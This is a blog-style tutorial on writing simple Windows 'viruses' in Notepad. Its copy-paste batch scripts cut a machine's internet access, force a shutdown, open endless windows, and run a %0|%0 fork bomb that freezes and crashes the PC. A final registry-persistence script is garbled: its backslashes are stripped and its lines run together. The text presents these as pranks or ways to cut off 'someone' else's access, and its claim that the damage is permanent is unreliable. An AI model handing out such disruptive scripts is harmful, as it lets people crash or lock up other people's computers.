How to Create a Computer Virus Using Notepad (Simple)

0

A computer virus is a malicious program which tries to harm your computer by replicating itself and modifying other programs. Almost all of us might have faced a virus attack when downloading files from internet.

In this article I’ll explain how to create a virus and how it actually works. If you are facing virus attacks on your computer then make sure to read this guide.

Now computer viruses are actually program which are coded by the bad guys. Assuming that most of you guys don’t know any programming languages, we will use the Windows batch scripting commands.

It is kind of a scripting language which you can use to play around with Windows.

Lets start by creating a simple and harmless virus which is called ECLAIR. It is used to test if your antivirus is working or not.

1 – Eclair Test File – Test Your Antivirus

Now this is not a computer virus, it is a simple block of string which triggers your antivirus.

Open notepad and paste the following code:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

 

create-a-computer-virus using notepad

Now save the file as eclair.com and make sure to select save as type to All files (*.*)

As soon as I saved the file I got a virus detection notification from Windows Defender.

2 – Stop Internet Access

By using this batch file you can stop someone Internet access. Again it is a harmless virus which can be reversed easily.

Again open notepad and paste the below code.

@Echo off
Ipconfig /release

Now save the file as virus.bat and make sure to select save as type to All files (*.*)

To get internet back again, open command prompt and type ipconfig /renew and hit enter.

3 – Deleting System32 Prank

I’m going to show you how to create a virus which will show a warning message about deleting system files. It’s a harmless virus, it won’t delete any of your files.

Simply paste the below code and save it with .bat extension. You can name the file anything you want.

@echo off
@echo Virus Detceted!!!
pause
@echo Trying to destroy virus
pause
@echo 25%
pause
@echo 50%
pause
@echo 75%
pause
@echo 100%
pause
@echo Error!!!!!!!!!!!!
@echo Error!!!!!!!!!!!!
@echo Error!!!!!!!!!!!!
pause
@echo opening system32
@echo Deleting system file 5454
@echo Deleting system file 2395
@echo Deleting system file 3454
pause
@echo system error 45343
pause
@echo system cannot operate without all system files!!!!
pause
@echo kfcwjewilfejkfewvi494iwefihfeiwjecfowe
@echo ewijfweclkifjwefweoifvwjoafvijwojirfijwe
@echo rle2krldrkewlkfcklweklelwlkewlkewl;cee
pause
@echo %system%shutdown%error%
shutdown -s
This virus will shut down the computer at end which makes it more realistic. If you don’t want the PC to shutdown you can remove the shutdown -s code.

Recommended – Hilarious Computer Pranks of All Time

4 – Matrix Hack

This fake virus will open notepad and give it a matrix effect.

Use the below code and save it with .bat extension.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
@echo Virus Detected!!!
goto start

Below are some harmful viruses which can freeze and destroy your PC.

5 – App Launcher

Want to create an app bomber? I’m going to show you how to create a virus which launches all the Microsoft apps and basically freeze your computer.

Paste the below code and save it with .bat extension.

@echo off
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x

Restarting the PC will fix it, still not recommended to use it.

6 – Endless Notepad Popup

This code will open endless notepad popups until your PC crashes.

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

 

7 – Background Process Bomber

The below code will create unlimited background process which will result in your computer freezing and crashing at the end.

Paste the below code in notepad and save it with .bat extension.

%0|%0

8 – Disable Internet Connection

This is a harmful notepad virus. This will permanently disable the internet connection. You will have to install a fresh copy of Windows to get the internet connection back.

Use the below code:

echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho Your Network has been HACKED!
PAUSE\

These were some of the simple computer viruses created using notepad. I’m sure you have learned how to create a computer virus using notepad.

SHARE

LEAVE A REPLY

Please enter your comment!
Please enter your name here

This site uses Akismet to reduce spam. Learn how your comment data is processed.